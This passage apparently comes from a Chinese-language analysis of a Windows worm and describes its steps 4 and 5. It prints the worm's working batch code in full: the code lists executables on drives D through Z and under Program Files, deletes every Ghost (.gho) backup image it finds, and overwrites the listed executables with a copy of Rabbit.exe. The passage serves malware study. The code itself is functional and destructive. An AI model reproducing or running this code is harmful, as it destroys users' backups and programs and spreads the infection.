4、执行%SystemRoot%\ILTZ.bat文件,将d到z盘的exe文件路径记录在ILTZ.inf文件,将c盘到z盘的ghost备份文件路径记录到GHO.inf文件和将系统盘下program files目录下的exe文件路径记录在IOTZ.inf文件
---------------------------------------------------------
set /A r=%random%
FOR %%a in ( d: e: f: g: h: i: j: k: l: m: n: o: p: q: r: s: t: u: v: w: s: y: z: ) do dir /s /b %%a\*.exe >>%windir%\ILTZ.inf
FOR %%a in ( c: d: e: f: g: h: i: j: k: l: m: n: o: p: q: r: s: t: u: v: w: s: y: z: ) do dir /a:- /b %%a\*.gho>>%windir%\GHO.inf
cd %windir%
cd..
cd Program Files
dir *.exe /s /b >>%windir%\IOTZ.inf
IOTZ.bat
GHO.bat
----------------------------------------------------------
5、执行GHO.bat,IOTZ.bat文件删除GHO.inf里指定的路径的gho文件和替换ILTZ.inf,IOTZ.inf指定路径的exe文件
GHO.bat >
----------------------------------------------------------------
FOR /f "delims=" %%i in (%windir%\GHO.inf) do del /a:- "%%i"
----------------------------------------------------------------
IOTZ.bat >
------------------------------------------------------------------------------------------
FOR /f "delims=" %%i in (%windir%\ILTZ.inf) do copy /y %windir%\system32\Rabbit.exe "%%i"
FOR /f "delims=" %%i in (%windir%\IOTZ.inf) do copy /y %windir%\system32\Rabbit.exe "%%i"
------------------------------------------------------------------------------------------